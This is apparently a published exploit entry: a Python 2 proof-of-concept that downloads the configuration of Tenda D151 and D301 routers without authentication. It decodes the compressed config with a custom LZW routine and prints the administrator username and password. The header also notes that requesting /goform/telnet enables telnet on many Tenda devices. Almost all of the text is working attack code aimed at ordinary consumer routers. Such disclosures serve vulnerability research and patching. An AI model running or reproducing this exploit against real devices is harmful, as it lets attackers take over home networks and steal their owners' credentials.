Tenda D151 & D301 – Configuration Download (Unauthenticated)
# Exploit Title: Tenda D151 & D301 - Configuration Download (Unauthenticated) # Date: 19-04-2021 # Exploit Author: BenChaliah # Author link: https://github.com/BenChaliah # Vendor Homepage: https://www.tendacn.com # Software Link: https://www.tendacn.com/us/download/detail-3331.html # Versions: # - D301 1.2.11.2_EN # - D301 V2.0 50.22.1.8_EN # - D151 V2.0 50.21.1.5_EN # --- Description --- # # This exploits allows for the download of the current router config including the admin login, just by requesting {IP}/goform/getimage, # you can also activate telnet service by requesting /goform/telnet. Telnet activation issue exists in many other tenda devices too. # --- Proof of concept --- # import struct import itertools import random, sys import requests import base64 FETCH_CODE = "\x80\x0f\x07\xe7\x83i\xb0@v2\x9c\x8ef\x93y\xb8z" ADMIN_LOG_CFG = {'AdminPassword': 'admin', 'SupportPassword': 'support'} CLEAR_CODE = 256 END_OF_CODE = CLEAR_CODE + 1 MIN_WIDTH = 8 DEFAULT_MIN_BITS = MIN_WIDTH + 1 DEFAULT_MAX_BITS = 12 def cmsDecoder(compressed_cfg): _cp_dict = dict((pt, struct.pack("B", pt)) for pt in range(256)) _cp_dict[CLEAR_CODE] = CLEAR_CODE _cp_dict[END_OF_CODE] = END_OF_CODE prefix, offset, ignore = None, 0, 0 codepoints_arr, remainder, bits = [], [], [] init_csize = len(_cp_dict) codesize = init_csize minwidth = MIN_WIDTH while (1 << minwidth) < codesize: minwidth = minwidth + 1 pointwidth = minwidth buts_arr = [] for b in compressed_cfg: value = struct.unpack("B", b)[0] for bitplusone in range(8, 0, -1): bitindex = bitplusone - 1 buts_arr.append(1 & (value >> bitindex)) for nextbit in buts_arr: offset = (offset + 1) % 8 if ignore > 0: ignore = ignore - 1 continue bits.append(nextbit) if len(bits) == pointwidth: cp_int = 0 lsb_first = [b for b in bits] lsb_first.reverse() for bit_index in range(len(lsb_first)): if lsb_first[bit_index]: cp_int = cp_int | (1 << bit_index) bits = [] codepoints_arr.append(cp_int) codesize = codesize + 1 if cp_int in [CLEAR_CODE, END_OF_CODE]: codesize = init_csize pointwidth = minwidth else: while codesize >= (2 ** pointwidth): pointwidth = pointwidth + 1 if cp_int == END_OF_CODE: ignore = (8 - offset) % 8 decodedBytes = [] for cp_int in codepoints_arr: suffix = "" if cp_int == CLEAR_CODE: _cp_dict = dict((pt, struct.pack("B", pt)) for pt in range(256)) _cp_dict[CLEAR_CODE] = CLEAR_CODE _cp_dict[END_OF_CODE] = END_OF_CODE prefix = None elif cp_int != END_OF_CODE: if cp_int in _cp_dict: suffix = _cp_dict[cp_int] if None != prefix: _cp_dict[len(_cp_dict)] = prefix + suffix[0] else: suffix = prefix + prefix[0] _cp_dict[len(_cp_dict)] = suffix prefix = suffix decoded = suffix for char in decoded: decodedBytes.append(char) return decodedBytes def exploit(ip): print "[!] Downloading config" try: r = requests.get("http://{}/goform/getimage".format(ip)) pass except: print "[-] Failed to download the config, the target may not be vulnerable" BIN_CONTENT = r.content BIN_CONTENT = BIN_CONTENT[BIN_CONTENT.index(FETCH_CODE):][:16*50] CONFIG_XML = b"".join(cmsDecoder(BIN_CONTENT)) USER_, PASS_ = "", "" for i in ADMIN_LOG_CFG.keys(): if i in CONFIG_XML: CONFIG_XML = CONFIG_XML[CONFIG_XML.index(i) + len(i) + 1:] PASS_ = CONFIG_XML[:CONFIG_XML.index('</')] USER_ = ADMIN_LOG_CFG[i] print "\tusername: {}\n\tpassword: {}\n".format(USER_, base64.b64decode(PASS_).rstrip('\x00')) return 0 print "[-] Failed to decode the config file\n" return -1 if len(sys.argv) == 1: print "usage: python2 " + sys.argv[0] + " router_ip" print "example: python2 exploit.py http://192.168.1.1" exit() if __name__ == "__main__": print """\ _ _ ___ (~ )( ~) / \_\ \/ / | D_ ]\ \/ -- By BenCh@li@h | D _]/\ \ -- BenChaliah@github \___/ / /\ \\ (_ )( _) """ try: exploit(sys.argv[1]) except Exception as e: print str(e) |